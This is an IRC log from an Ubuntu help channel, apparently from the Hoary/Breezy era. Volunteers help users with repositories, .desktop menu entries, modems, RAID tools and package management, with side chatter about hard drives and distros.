cafuegosyn-ack: I have an actual IBM deathstar :-)09:14
Reilynit feels like it's made out of cast iron09:14
cafuegosyn-ack: it's bene making strange noises for the past 3 years, but it still runs fine.09:15
syn-ackcafuego: and it still works? ;)09:15
aimazsyn-ack, aye, and they're paired with siemens now who apparantly have good customer service09:15
cafuegosyn-ack: yeah, it's nearly 5 years old now.09:15
syn-ackcafuego: Heh, Im thinking of getting the IBM S51 to use as my dominant Windows Workstation09:15
syn-ackI made sure that didnt have a DeathStar in it09:16
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cafuegoI've not a newer 60G hitachi in a usb2 enclosure, that's a very nice disk.09:16
cafuegos/n/g/09:16
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upgrdmanhow do i stop the famd/gamin server? its eating tons of cpu cycles09:18
syn-ackHad a system that I thought I would use the Maxtor sATA drive in; got 3 of em and all of them died in 6 months09:18
brownie17seveas: http://paste.ubuntulinux.nl/174109:18
syn-ackupgrdman: killall -9 process name... gamd/famd will then respawn and run correctly09:18
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syn-acklucky you09:19
cafuegoI've got this 9 year old 2.1 GB scsi drive that's still hacking away :-)09:19
NoUsebrownie17 did you check your repositories?09:19
brownie17nouse: i'm not sure i know what you mean by that, i had a look at the ones that are installed09:19
brownie17nouse: can you be more specific09:20
NoUse!tell brownie17 about repos09:20
omp342i never got a response from OPERA09:20
omp342:(09:20
upgrdmansyn-ack, it respawns, and it continues to eat cpu cycles like mad09:21
upgrdmani am creating a huge file with dd09:21
syn-ackThis box has a Seagate ST380012A and it runs like a dream09:21
brownie17nouse: i all the ones in the repo menu checked09:21
upgrdmanand this is bullshit... why the hell should famd/gam monitor a file still being written to09:21
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upgrdmanits eating like 80% of my 2GHz cpu09:21
NoUsebrownie17 check the second link09:21
syn-ackupgrdman: Then dont you think its dd thats causing the cpu cycles to run like mad?09:22
NoUsebrownie17 make sure all of those are added09:22
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upgrdmansyn-ack, no because for a second before the daemon is respawned, the cpu level dips, and the hdd leds are lit more09:22
cafuegomake that 11 80G wd drives09:22
brownie17nouse: i have put that into my computer before too09:22
cafuegothe hosted box also has 'em09:22
NoUsebrownie17 ok09:22
cafuegothey're all WD800JB models09:22
syn-ackupgrdman: Tell me why in the hell you're doing this anyway?09:22
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moZeranyone here own a canyon wireless router?09:23
cafuegoupgrdman: Well, you could just not run famd.09:23
brownie17nouse: so who should i ask about it? seveas isnt replying, madpilot doesnt use smeg, who should i ask09:23
NoUsebrownie17 I don't know, I don't have a register of who knows what09:23
brownie17nouse: sorry, my fault,09:23
upgrdmanim creating a dummy file of the exact same size as a host partition i had to dd_rescue. its first superblock is unreadable, and i dont know the numbers for the backups. a tutorial online reccomended creating a new file the exact same size, and placing a ext2 fs on the file and read the summy for the backup superblock numbers09:24
upgrdmancafuego, i dont know HOW09:24
upgrdmanin gentoo a /etc/init.d/famd stop would do it09:24
upgrdmanbut no, ubuntu cant be arsed to put a famd or gam script in /etc/init.d09:24
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brownie17cafuego: i have an error tryin to install smeg, have a look at this http://paste.ubuntulinux.nl/174109:24
NoUsebrownie17 a 5 second search on the forums yielded this http://ubuntuforums.org/showthread.php?t=55939&highlight=smeg+python-xdg09:24
brownie17nouse: are the forums here very good?09:25
NoUsebrownie17 did you look at the link?09:25
brownie17nouse: yes, i'm reading it now, but it might take me a while to figure it out09:26
brownie17so the second link in the second post should replace the one i have. what is the command for editing the ones i have now?09:27
NoUsebrownie17 you can use gedit or something09:27
brownie17so:   sudo gedit <what was the location of the file again?>09:28
NoUsebrownie17 /etc/apt/sources.list09:28
NoUsebrownie17 it says right there on the link09:29
NoUsebrownie17 I'm off, good luck09:29
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upgrdmanso does anyone know how to make gamin/gam shut down09:30
kameronhow do i make a grub bootdisk?09:30
brownie17Kemik: i need a hand with something09:32
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brownie17kemik: you there?09:33
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pefhi09:33
Madpilothi pef09:34
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brownie17madpilot: feel like giving me a hand? nouse gave me a guide for adding extra repositories, but the guide told me what my sources file should look like now, and it didnt look the same. the website for the guide was http://ubuntuguide.org/#extrarepositories, and the pastebin for what mine looks like is  http://paste.ubuntulinux.nl/174309:37
Madpilot!tell brownie17 about ubuntuguide09:37
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omp342is there anyone here that has cable internet from charter?09:38
brownie17madpilot, thanx... i think... will there be a guide telling me just about the same thing on that wiki place?09:39
Madpilothttp://wiki.ubuntu.com/UserDocumentation <-- best place to start09:39
brownie17!ubuntuguide09:40
ubotufrom memory, ubuntuguide is a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.09:40
omp342should i get breezy now or wait till it's released?09:41
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syn-ackWait till its released, especially if you dont know exactly what you're doing09:42
omp342i still haven't decided whether i'm going to get breezy when it comes out, or stay with gentoo09:43
omp342i like the portage system gentoo has09:43
lunitikomp342: you'd have much more freetime if you went with breezy...09:44
lunitikomp342: and wouldn't lose much in the way of speed...09:44
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syn-ackI used Gentoo for a long time on my desktops and then I would use Debian on the servers... After Warty dropped I converted everything to Ubuntu09:44
lunitikomp342: if anything... boot time is likely faster... as is (re)starting X  ... I'm sure GTK will be better once I find a theme that takes advantage of ciaro too...09:45
jiggafellzHow do i stop the bar at the bottom from hiding it self?09:45
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omp342the reason i like gentoo so much is the damn portage system :)09:46
omp342jiggafellz: you probably have the autohide or whatever its called option on :P09:46
syn-ackPortage is very nice, I'll give you that. The reason I dont like it, is I want to use something that Just Works out of the box09:46
jiggafellzi looked at that but it's unchecked. : (09:47
syn-ackAnd I dont want to wait for shit to compile09:47
lunitikomp342: you like waiting around to install new software? wow... cool09:47
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omp342the only thing i don't like about gentoo is, you have to wait a few hours for gnome to download and compile09:48
brownie17can anyone at all help me!? please look at this pastebin: http://paste.ubuntulinux.nl/174109:48
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jsgotangcoomp342, you get a really optimized box in the process though09:48
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brownie17 can anyone at all help me!? please look at this pastebin: http://paste.ubuntulinux.nl/174109:49
brownie17 can anyone at all help me!? please look at this pastebin: http://paste.ubuntulinux.nl/174109:49
omp342brownie17: you need an old UNSTABLE version of python for smeg to work09:49
syn-ackjsgotangco: Thats fine and dandy. Too bad it only helps give you 1% better performance.09:49
omp342brownie17: don't spam09:49
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jsgotangcosyn-ack, heh09:49
jsgotangcotrue09:49
omp342brownie17: you can manually edit the menu entries09:49
brownie17omp342: i need to get an unstabel version? why would i do that? does smeg need to be updated or something?09:49
brownie17omp342: isnt that very difficult?09:49
omp342brownie17: don't use smeg :P09:49
omp342brownie17: it's pretty easy actually09:50
brownie17omp342: i am a COMPLETE newbie09:50
aftertafsome things are not worth smegging up your system over...09:50
omp342brownie17: i'm new too, i've been using linux for about 2 weeks now09:50
brownie17omp342: mine giving me a few helpful hints i nthe right direction, i.e very exact instructions!?09:50
aftertaflol09:50
syn-ackIve used Linux for some years and I dont even know what the hell smeg is09:50
aftertafsyn-ack:  me too...09:50
Ngmenu editor09:50
holycowyey, another open office beta09:50
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Ngit's not an especially old program, but the version in universe does indeed fail to install with the dependency error brownie17 pasted09:51
Ngso I guess that's a broken package09:51
aftertafmail the maintainer!!09:51
jiggafellzomp342, it's not the panel bar but the bar that lists whatever programs i have open.09:51
aftertafor install kde-desktop :)09:51
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syn-ackKde is evil09:52
syn-ack</flame>09:52
Ngno desktop wars!09:52
omp342brownie17: hold up, let me see if i can find a guide on how to do it09:52
brownie17omp342: thanx09:52
aftertafomp342 brownie17: i'm new too, i've been using linux for about 2 weeks now......09:52
brownie17omp342: i really only need to make one tiny addition09:52
aftertafbut gento for how long?09:52
aftertafNg:  syn-ack:  lol09:53
brownie17aftertaf: what be gento my good fello09:53
aftertafa typo :p09:53
aftertafi hates this keybored!09:53
brownie17aftertaf: hahah :)09:53
brownie17!gentoo09:53
ubotubrownie17: Are you on ritalin?09:53
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Madpilotbrownie17: you know you can just create a shortcut icon (launchpad) for stuff that doesn't do menu entries?09:53
brownie17madpilot: like where mozilla and evolution are?09:54
omp342brownie17: ok i can't find a guide so i'll just explain it to you :)09:54
Madpilotthat's right09:54
aftertaflol omp342 :)09:54
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Madpilotbrownie17: right click on the top panel - beside the other icons - and click Add To Panel09:55
brownie17madpilot: done so far09:55
omp342aftertaf: what's so funny :P09:55
aftertafanyone know about speedtouch usb setup using kernel driver?09:56
aftertafomp342:  ..  i can't find a guide so i'll just explain ..09:56
aftertafraised a grin ;)09:56
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omp342aftertaf: i know how to do it :P, i was just too lazy to explain it all09:56
aftertafthats what made me smile ;)09:56
omp342aftertaf: all you gotta do is make a simple .desktop file in /usr/share/applications09:57
brownie17.desktop file?09:57
aftertafrightclick, fill in the blanks... i know that!09:57
aftertafi dont know about doing a .desktop meself,09:57
nalioth_wrkn.desktop files are easy to make09:58
brownie17ooh, i worked it uot09:58
brownie17thankyou09:58
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aftertafnalioth:  stopping you from working ?? :D09:58
omp342the easiest way is making a copy of another .desktop file, and just editing the values for another program09:58
aftertafi imagine they are, just being text files....09:59
aftertafthe trick is knowing what to edit, what to create, and what to put at the right place for the magic to happen09:59
omp342i should write a guide on it, just so i can show it to people instead of explaining :)09:59
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aftertaflool09:59
brownie17omp342, so now how do i put it into the gnome menu?09:59
naliothnah, i just got back09:59
brownie17omp342, i have created the file10:00
ekimushi, anyobdy can point me to a tool to see disk load (like top)10:00
naliothomp342: what is a .desktop that goes in the /usr/whereeveryousaid?  and what does it do there?10:00
omp342ehh the .desktop files in there show in the gnome menu10:01
omp342im not sure if its exactly the same in ubuntu, but i assume it is10:01
omp342i use gentoo10:01
brownie17omp342, it wont let me paste in there10:01
aftertafwow, ive got loads of pretty shortcuts in there :)10:01
aftertafcooool10:01
omp342brownie17: you gotta do it in a terminal as root10:01
aftertafbrownie17:  sudo10:01
brownie17how do i paste stuff in terminal10:02
aftertafsudo cp /what/i/want /where/it/goes10:02
brownie17?10:02
ekimusnalioth: they are used by the xdg desktop specificatio (freedesktop.org) for building menues (mainl in kde and gnome) but DEs and WMs should use these specifications for interopability10:02
aftertafcp =copy10:02
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naliothekimus: ty, i'm only familiar with building .desktop files in /usr/share/xsessions10:02
omp342brownie17: what aftertar said is correct10:02
aftertafthx :)10:03
brownie17cp: cannot stat `/home/fraser/desktop/zsnes': No such file or directory10:03
aftertafbrownie17:  where is the .desktop file you have modified?10:03
aftertafok10:03
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ekimusnalioth: i think those are the same. the location where those files should be found isn't really clear from the specs (kde for example is quite widespread over the system *yuck*)10:03
brownie17 cp: cannot stat `/home/fraser/desktop/zsnes': No such file or directory10:04
aftertafno desktop wars !!!10:04
aftertaf:)10:04
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aftertafbrownie17:  have you saved and closed your editor?10:04
brownie17omp342:  cp: cannot stat `/home/fraser/desktop/zsnes': No such file or directory10:04
omp342brownie17: "No such file or directory" :P10:04
naliothekimus: i'm familiar with /u/s/x because some of the DMs dont make them when installed via apt10:04
omp342brownie17: can't you read it yourself10:04
brownie17saved and closed my editor? i hav ethe file in front of me on the desktop10:04
naliothekimus: /usr/share/xsessions is where your login screen sees what's available to display10:05
brownie17omp342, smart arse.10:05
omp342brownie17:  do this10:05
omp342brownie17: ls /home/fraser/desktop10:05
ekimusaftertaf: desktop wars? that's a fact. not a flame, ever tried to remaster kubuntu and reconfigure the menu? (pain in the ass)10:05
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omp342and see what the file is called10:05
aftertafekimus:  hehe, sounds FAR too complicate for me, i'm only MCSE 2003 :)10:05
omp342brownie17: what files does it show?10:06
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brownie17ls: /home/fraser/desktop: No such file or directory10:06
ekimusaftertaf: it's well documented, if you can read it's not a problem just lousy to search all the files10:06
omp342...10:06
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brownie17aftertaf: ????10:06
aftertaftell me about it....10:06
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aftertaf;)10:07
omp342brownie17: i think it's Desktop and not desktop10:07
brownie17oh ok10:07
aftertafbrownie17:  case sensitive...10:07
brownie17ok it worked omp34210:07
omp342ok so you moved it?10:07
aftertafi recommend you try using terminal more often, its really useful to know how to get around....10:07
brownie17oh no, not yeh10:07
omp342okay10:07
brownie17the other thing worked10:07
omp342whats the file called?10:07
Madpilot!cli10:08
ubotucli is, like, totally, https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/10:08
aftertafzsnes.desktop ?10:08
omp342okay10:08
omp342now do this10:08
aftertafu can use tab to autocomplete.....10:08
Madpilotbrownie17: URL above w/ ubotu is good for basic command stuff ^^^10:08
brownie17cp: cannot stat `/home/fraser/Desktop/zsnes': No such file or directory10:08
omp342brownie1710:08
omp342it should be10:08
omp342zsnes.desktop10:08
brownie17oh ok10:08
omp342not just zsnes10:08
ekimusanother round of rsync and create_compressed_fs *bleah*10:08
brownie17http://www.linuxcommand.org/10:09
brownie17bugger10:09
aftertafdon't go to the dark side of the kernel, fraser ;)10:09
brownie17cp: cannot stat `/home/fraser/Desktop/zsnes.desktop': No such file or directory10:09
omp342hmmmm10:09
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brownie17aftertaf: are you high? :)10:09
omp342brownie17: when you did ls10:09
omp342brownie17: what was the files listed10:09
Nermalhuzzah for ubuntu-unreg10:09
brownie17Documents i must read  pastebuin~               Zsnes.desktop10:09
brownie17nautilus-home.desktop  Screenshot-synaptic.png10:09
aftertaflol brownie17 nope....10:09
aftertafZ10:09
aftertafnot z10:09
brownie17ooh it worked!10:09
brownie17good job10:10
omp342ok10:10
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omp342you moved it now?10:10
brownie17i think?10:10
omp342now10:10
brownie17yes10:10
brownie17what now?10:10
omp342well10:10
omp342unless you did something wrong10:10
omp342after you restart X it should be in the menu10:10
omp342so restart your computer10:10
omp342if it didnt work10:10
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Madpilotbrownie17: start with https://wiki.ubuntu.com/BasicCommands  before you hit the linuxcommands site10:10
omp342ill help you10:10
brownie17omp342, couldnt i just restart the gnome panel?10:11
brownie17madpilot: ok!10:11
omp342brownie17: i dono :P10:11
omp342try it10:11
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CCFIELhello ppl..10:11
CCFIELhow can i install usb modem?10:11
brownie17omp342, which catagory should it be in?10:12
brownie17ccfiel: you need drivers10:12
omp342brownie17: it all matters what you set it to be in (when editing the .desktop file)10:12
aftertafCCFIEL:  what type of modem do you have?10:13
brownie17omp342, i dont think there was an option for what type of file10:13
CCFIELi have conexant..10:13
brownie17well at any rate omp342, it is not in any of the catagories10:13
omp342brownie17: http://www.pastebin.com/  <copy paste everything inside your .desktop file in there10:13
CCFIELi finish installed the free driver...10:13
omp342and psot it10:13
omp342then give me the link10:13
omp342ill fix it for you10:13
CCFIELwhat would be the next step?10:13
omp342brownie17: should i just make a .desktop file for you?10:13
brownie17yes please10:14
brownie17omp342, the file is called zsnes, and i want it in games catagory10:14
aftertafCCFIEL:  does the doc give you any next steps?10:14
omp342brownie17: okay wait 2 or 3 minutes10:14
CCFIELnothing...10:14
CCFIEL:(10:14
aftertafbrownie17:  99% headache, 1% fun + satisfaction... like i said yesterday.10:15
aftertafbut its worth it..10:15
brownie17hahah10:15
brownie17it wasn't yesterday, that was today10:15
aftertafCCFIEL:  conexant what... any model number or ref?10:15
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aftertafbrownie17:  depends on your timezone ;)10:15
brownie17aftertaf: oh ok, hahah10:15
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tdnHow do I install pypanel and adesklets? I can't seem to find them with an apt-cache search.10:16
aftertaf!adesklets10:16
ubotuaftertaf: I'm not sure, is it larger than a breadbox?10:16
CCFIELthis what scanmodem...says10:17
CCFIEL1-1/0: Conexant id 2210:17
CCFIELExtended modem ID: codec=1 LIN110:17
CCFIELModem status     : PRA(GPIO) PRB(res) PRC(ADC1) PRD(DAC1) PRE(ADC2) PRF(DAC2) PRG(HADC) PRH(HDAC)10:17
CCFIELLine1 rate       : 48000Hz10:17
ekimusCCFIEL: don't paste here use a pasteservice10:17
CCFIELsorry...10:17
tdnaftertaf, did'nt get any cleaver by that :)10:17
brownie17! tell ccfiel about pastebin10:17
ubotuNot a clue, brownie1710:17
brownie17!tell ccfiel about pastebin10:17
CCFIELsorry...next time..:(10:17
brownie17dont worry about it ccfiel10:18
aftertaftdn:  me neither ;)10:18
tdnaftertaf, heh10:18
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aftertafCCFIEL:  usb adsl or v56 ?10:18
nalioth!info adesklets10:18
aftertaf56k V92 i meant10:18
CCFIELits a 56k...10:19
naliothno such thing as adeskklets in the ubuntu world10:19
naliothnow however...10:19
nalioth!info gdesklets10:19
ubotugdesklets: (an advanced architecture for desktop applets), section universe/gnome, is optional. Version: 0.34.3-0ubuntu2 (hoary), Packaged size: 358 kB, Installed size: 2104 kB10:19
brownie17omp342, you done yet?10:19
tdnnalioth, hmm... ok. I guess I'll just have to install them from source then.10:19
omp342brownie17: almost, i'll brb, one second10:19
CCFIELaftertaf: its a 56k10:19
naliothtdn: share with us. what are adesklets?10:19
tdnnalioth, http://adesklets.sourceforge.net/10:20
aftertafCCFIEL:  found this link which may help..... http://www.linuxant.com/drivers/hsf/index.php10:20
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naliothtdn: you are no fun at all10:21
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tdnnalioth, huh?10:21
aftertaflooooool10:21
brownie17omp342, done yet?10:21
omp342brownie17: okay i just tested it and it worked, now let me get it working for you :)10:21
aftertafok, off for that nicotine rush i promised myself earlier....10:21
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aftertafrespect :)10:22
aftertafburb10:22
omp342brownie: first delete the one you have by doing this  ' sudo rm /usr/share/applications/Zsnes.desktop '10:22
CCFIELi think ...i give up..witht this modem..setup...10:22
omp342tell me when you did that10:22
naliothtdn: python and imlib based desklets was something of what i was expecting10:22
CCFIELmy internal modem....10:22
ekimusCCFIEL: most internal modems are just soundcards10:22
tdnnalioth, see for instance this cool menu bar: http://adesklets.sourceforge.net/verbatim/yab.html :)10:22
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tdnnalioth, ok10:23
brownie17omp342, done10:23
omp342ok 1 second10:23
CCFIELekimus: what do you mean?10:23
naliothtdn: yes, i'm looking. gdesklets don't work for me, i'm gonna try this instead10:24
omp342brownie17: open a new document (in any text editing program)10:24
CCFIELekimus: i want my sister to used ubuntu in her laptop... all was ok..until...the modem..which she needs for her dial up...10:24
naliothtdn: you do have your build-essential and all that kit, right?10:24
omp342brownie17: tell me when you do that :)10:24
brownie17omp342 done10:24
CCFIELso...maybe... i need to re install...it back to winxp..:(10:24
tdnnalioth, not. Not yet.10:24
ekimusCCFIEL: they are just soundcards which send the sound over line instead of the speakers. if you need a driver to get it working you have to look in your kernel config for the corresponding soundcard (if the module isn't there which i doubt)10:25
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aftertafCCFIEL:  NOoooooooooo!!!!!!!10:25
tdnnalioth, adesklets combined with openbox and pypanel is the thing for me :D10:25
ikkysis there a msn for ubuntu?10:25
ekimusikkys: gaim10:25
omp342brownie17: now go here http://rafb.net/paste/results/OEVxBr59.html  and copy-paste everything i wrote (be sure not to paste the 1 2 3 4 etc. numbers)10:25
ikkysother than gaim10:25
tdnikkys, amsn10:25
ekimusikkys: centericq10:25
omp342brownie17: tell me when you got that done10:25
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ikkysok10:26
tdnikkys, apt-cache search msn10:26
brownie17omp342, its all in there10:26
Seveasjdub, around?10:26
CCFIELekimus: ok...so how will i set this up..so that..my sister could... make internet conection using dial.up...?10:26
aftertafikkys:  kopete10:26
omp342brownie17: okay, now save the file as zsnes.desktop (save it on your Desktop)10:26
CCFIELi have tried...to auto detect...but no luck..10:26
aftertafCCFIEL:  have you tested it for dial out?10:26
tdnikkys, centericq is cool too.10:26
brownie17omp342, done10:27
CCFIELaftertaf: what do you mean..? i very new in ubuntu...10:27
jdubSeveas: yeah10:27
Seveasjdub, can I PM you for a sec?10:27
CCFIELaftertaf: i have just tried to auto detect the modem...but..10:27
aftertafis there aphone app installed with which you can test?10:27
CCFIELno modem found..10:27
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ikkysguys, why am i getting this? E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)10:27
ikkysE: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?10:27
aftertafoki... modem not found by OS.10:27
omp342brownie: now do this  '  sudo cp /home/fraser/Desktop/zsnes.desktop /usr/share/applications/ '10:27
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ekimusCCFIEL: http://gentoo-wiki.com/HARDWARE_Gentoo_Acer_Travelmate_803LCi_Manual#Internal_modem <-- there's an example, it's for gentoo but the general stuff should apply10:27
omp342brownie17: tell me when your done10:28
jdubSeveas: sure10:28
humulushello10:28
aftertafikkys:  you're using synaptic? then trying apt-get in consloe?10:28
ekimusikkys: you can only run a single apt-get process on the system10:28
brownie17omp342: cp: cannot create regular file `usr/share/applications/zsnes.desktop': No such file or directory10:28
GobfreyI just switched from an LCD monitor to a CRT, and I'm having problems setting it up.  From searching I'm supposed to do something with /etc/X11/XF86Config-4 but it doesn't exist on my system10:29
omp342brownie17: you have to have a / before usr10:29
aftertafGobfrey:  xorg.conf10:29
ikkysso because i had run the synaptic just now, an apt-get wont work10:29
ekimusGobfrey: /etc/X11/xorg.conf10:29
brownie17omp342 done10:29
humulusi have an interresting problem with my sound card, when i plug my headphones, the speakers still output sound, and i don't want them too any solution?10:29
aftertafikkys:  if not cloesed, yep...10:29
omp342brownie17: now delete any extra files on your desktop10:29
brownie17omp342, it worked, and it is in the menu10:29
omp342okay10:29
omp342:)10:29
aftertafGeneral round of applause!!!!10:29
omp342does the menu button work?10:29
brownie17omp342, thanx a ton10:29
ikkysok10:30
naliothSeveas: you are lucky, go play the lotto10:30
omp342does it work when you click it?10:30
CCFIELekimus: nothing..i have tried this one..:(10:30
brownie17omp342, yes10:30
omp342yay10:30
omp342:)10:30
GobfreyOK, so I'm in xorg.conf, and I've found the monitor resolution bit, but I can't find anything about the refresh rates.10:30
omp342i feel special10:30
omp342i helped someone10:30
omp342lol10:30
aftertafhave a coffee :)10:30
omp342ehh, its 1:30 AM10:30
ekimusCCFIEL: i don't use the internal modem i just know about the general procedure, sorry can't help you any further10:30
ikkysjust wondering, if im using apt-get and something is downloading, if i hit ctrl+C, as it stops the process, does it delete the file?10:31
Seveasikkys, no10:31
CCFIELekimus: ok..thanks...10:31
ikkysso how do i delete or clear that?10:31
Seveasit will resume the sownload if you restart10:31
ekimusikkys: apt-get clean10:31
Seveasapt-get clean cleans out the cache10:31
ikkysthx10:31
omp342i still can't decide whether to get ubuntu or not :/10:32
ekimusomp342: what are you using now?10:32
omp342ekimus: gentoo10:32
deFryskomp342, install it on a seperate partition10:33
naliothtdn: you may have an adventure gettin your adesklets to work10:33
deFryskand try it10:33
CCFIELdoes anyone here knows how to setup...internal modem...Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)..for laptop...its been 2 days...now..i have no luck..before i gave up...and reinstall for xp...:(10:33
omp342deFrysk: i already used ubuntu (before i got gentoo)10:33
tdnnalioth, ok. Are the known problems?10:33
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CCFIELplease i dont want to go back to windows...10:33
omp342the only reason i don't want to go back to ubuntu is because the portage system gentoo has is amazing10:33
deFryskomp342, its a matter of preference using getoo/portage or the ease of using ubuntu/apt-get10:34
bjv:( so what exactly is the state of raid in hoary 5.04?10:34
bjvim sort of lost..10:34
bjvsupport for md is compiled into the kernel?10:34
Seveasyes10:34
ekimusomp342: i used it too. but got sick of configuring all the stuff myself on the desktop. ubuntu's fine as long as you stay with the defaults. if you want something special it's just about the same (read docs and configure....). if you are using a lot of specialised use flags (most people don't, and if you aren't sure about it you definitely aren't) you won't have any big advantages because you'd have to use apt-source and build the stuff yourself an10:34
bjvbut i must load modules for each raid level?10:34
deFryskomp342, I see nothing amzing about portage ?10:35
CCFIELdoes anyone here knows how to setup...internal modem...Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)..for laptop...its been 2 days...now..i have no luck..before i gave up...and reinstall for xp...:( please help...i dont want to go back to xp...:(10:35
naliothtdn: there seems to be a quite a few depends not available via ubuntu repos10:35
tdnnalioth, ok. Damn :/10:35
Seveasbjv, grep -i md /boot/config*10:35
ekimusdeFrysk: ever tried to find out wether windowmaker is compiled with xinerama support on a debian system_10:35
ekimuss/_/?10:35
deFryskekimus, as a normal user ? no never10:36
tdnnalioth, maybe I should just go back to Debian then... or take the battle making it work...10:36
deFryskekimus, I dont care about windowmaker10:36
naliothSeveas: got a question for ya...can i symlink 'yacc' to 'bison'?10:36
naliothtdn: nothing an experienced debian user can't get by10:36
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Seveasnalioth, 'alias yacc=bison'10:37
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Seveasbtw: bison installs such a symlink...10:37
ekimusdeFrysk: if you specify the corresponding use flag, that's exactly what portage cares about for you (so the advantage is more about choice than speed). but most people should be happy with the packages any non-source distro provides, so there aren't any big advantages (maybe that gentoo has a better learning experience, but on the other hand gentoo uses quite a different layout than other distros)10:37
naliothSeveas: i have scripts looking for yacc, not me calling it10:37
Seveasdennis@mirage ~ $ file `which yacc`10:37
Seveas/usr/bin/yacc: symbolic link to `/etc/alternatives/yacc'10:37
Seveaswhich again points to bison10:37
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deFryskekimus, </geekbabble>10:37
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naliothSeveas: i have no yacc onboard10:38
=== Seveas neither
naliothSeveas: cant find it in the repos, either10:38
Seveasjust bison10:38
Seveasbison installs this symlink10:38
Seveastry: sudu update-alternatives --list yacc10:38
naliothSeveas: i'm REALLY confused now, didnt your just show us you have yacc (or a symlink thereof)?10:38
ekimusdeFrysk: <nongeek>you need to do a lot of stuff by yourself on gentoo</nongeek> :)10:38
bjvlol,10:38
bjvsudo modprobe -v raid0 --dry-run10:38
bjvinsmod /lib/modules/2.6.10-5-386/kernel/drivers/md/raid0.ko10:38
omp342ekimus: HTML TAGS! =o10:39
deFryskekimus, I know , used it myself ?10:39
bjvso all i need to do is modprobe each level? heh10:39
deFrysk? = :)10:39
naliothSeveas: your update-alt command yielded nothing for me10:39
Seveasbjv, they should be modprobed automagically ...10:39
naliothSeveas: i'm d/l and installing it for myself10:39
Seveasnalioth, odd10:39
BelutzSeveas: hai :)10:39
bjvoh, i dont have any raid arrays yet.10:40
BelutzSeveas: i've been reading the forum last night, and most of the people do not recommend installing xmms, why is that?10:40
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tdnnalioth, ok. I'll try to make it work :)10:40
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Seveasnalioth, do you have a /usr/bin/bison.yacc ?10:40
tdnnalioth, but not right now. I have a few assignments, that I have to do first.10:40
ekimusBelutz: because xmms is crap and doesn't want to comply to windowmanager standards10:40
naliothtdn: i've been talkin to seveas about some of the odd things that are necessary10:40
SeveasBelutz, beep-media-player is better :)10:40
Belutzic10:40
naliothtdn: hope it's worth it10:41
Belutzso i could just remove xmms?10:41
tdnnalioth, ok.10:41
deFryskbeeter = better-looking10:41
ekimusBelutz: and it comes from teletubby-"i am the most skinable application ever"-land10:41
naliothSeveas: you are a very lucky fellow!10:41
tdnnalioth, yeah. I think that it is worth it.10:41
Seveasnalioth, ?10:41
Belutzekimus: hehehehe10:41
naliothtdn: we'll see, i'm installing toolchains to install toolchains, heh10:41
subterrificugh, ignore -regexp -pattern "sexchat\.tr\.gs" *10:42
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subterrificwhats with all the message spam on freenode now...10:42
ekimusBelutz: removing it should be fine, if it tells you it will remove ubuntu-desktop too, don't worry. that's just because of dependencies (you'll still have your desktop)10:42
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tdnnalioth, ok :)10:42
Belutzekimus: yup, thx :)10:42
chrismyi am identified! yahoo!10:42
Seveassubterrific, /umode +CE10:42
Seveasand be gone spam :)10:42
subterrificSeveas: whats that do?10:43
Seveasmakes the network not send you PM's from unidentified users10:43
chrismyahh10:43
chrismythat is good10:43
subterrificSeveas: i just added ignores with regex patterns10:43
bjvhuh, ive got md & mdadm10:44
Seveaswon't work10:44
bjvbut no mkraid?10:44
chrismyam i ignored to anyone? hmmmmm10:44
lunitiksubterrific: C turns off ctcp's from unregistered users... E turns off /msg's from unregistered users10:44
Seveasrandom nick/ident/hosts10:44
bjvis there a package i could apt-get?10:44
subterrificSeveas: but their spam is the same, so my regex matches the spam :)10:44
Seveassubterrific, *g*10:44
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bjvraidtools2?10:44
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Seveasbjv, raidtools210:44
chrismy!apache10:44
ubotuwell, apache is Apache/PHP http://www.ubuntulinux.org/wiki/PHPDevelopmentHowTo/ http://www.ubuntulinux.org/support/documentation/faq/installation-custom10:44
Seveasraidtools2: sbin/mkraid10:44
bjvk, thx.10:44
Belutzif i want to make alias in bash is it in .bashrc or in .bash_profile ?10:45
bjvraidtools2 - Utilities to support 'new-style' RAID disks10:45
bjvwasnt sure if what i was doing was 'new style' :/10:45
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aftertaf!info adesklets10:48
aftertaf!info yab10:48
naliothaftertaf: they don't exist10:48
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naliothaftertaf: you want adesklets, ya gotta get em the hard way10:48
aftertafmuch effort for eye candy???10:48
aftertafcould be fun!10:48
ekimusanyone using eclipse? i need to know how much space it requires in the default install10:49
nalioth!info bison10:49
ubotubison: (A parser generator that is compatible with YACC), section devel, is optional. Version: 1:1.875d-1 (hoary), Packaged size: 643 kB, Installed size: 1356 kB10:49
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naliothmy apt-get can't find bison10:49
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aftertafnalioth:  you mean, d/l the tar and install the hard way??10:50
|lineis anyone here experienced with using usenet in linux10:50
_mindspinwhat are the risks of compiling a programm by yerself, beside its always agood idea to stuck to ubuntu package management?10:50
|linedepends on the program mind10:51
_mindspinfwbuilder10:51
_mindspinthe firewallcompiler in ubuntu is kinda buggy10:51
_mindspinso I have to update zo a more current version10:51
Seveaz_mindspin, there are several10:51
|linehave you tried firestarter10:51
_mindspinno10:52
|linemight be better than compiling10:52
_mindspinno10:52
_mindspinits for a remote machine10:52
naliothaftertaf: you'll be d/l many source tgz's10:52
|lineoh ok10:52
_mindspinis firestarter able to create fwrules for remote machines?10:52
|linenot sure but i doubt it10:52
|lineits more of a local iptables based program10:53
_mindspini only have to install two source packages (I hope ;-)10:53
ikkysguys. can i run centericq on gnome? as in on the desktop?10:53
nalioth_mindspin: if you are xforwarding the firestarter on the remote machine10:53
|lineso anyone have any ideas about usenet in linnux10:53
_mindspinno x on the remote machine10:53
_mindspinits arouter10:53
nalioth|line: what about nntp in linux?10:53
Pelalilwhats the easiest way to get a new 2.6.12 kernel into my hoary install?10:54
|lineits an external server10:54
nalioth_mindspin: then you'll be using good ol' text mode i'd think10:54
|lineif thats what you mean10:54
_mindspinmaybe10:54
ekimus|line: you talking about setting up a server or just using a client?10:54
_mindspinbut fwbuilder is so cute and easy to use10:54
nalioth|line: sorry i thought you had a question about usenet10:54
|linea client10:54
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ekimus|line: apt-cache show pan10:54
_mindspinits like the admin interface of fw110:54
|linei need a client that can handle lots of binarys10:55
nalioth|line: pan is the best10:55
|lineand handle huge groups10:55
ekimus|line: nice, graphical, can handle binary too10:55
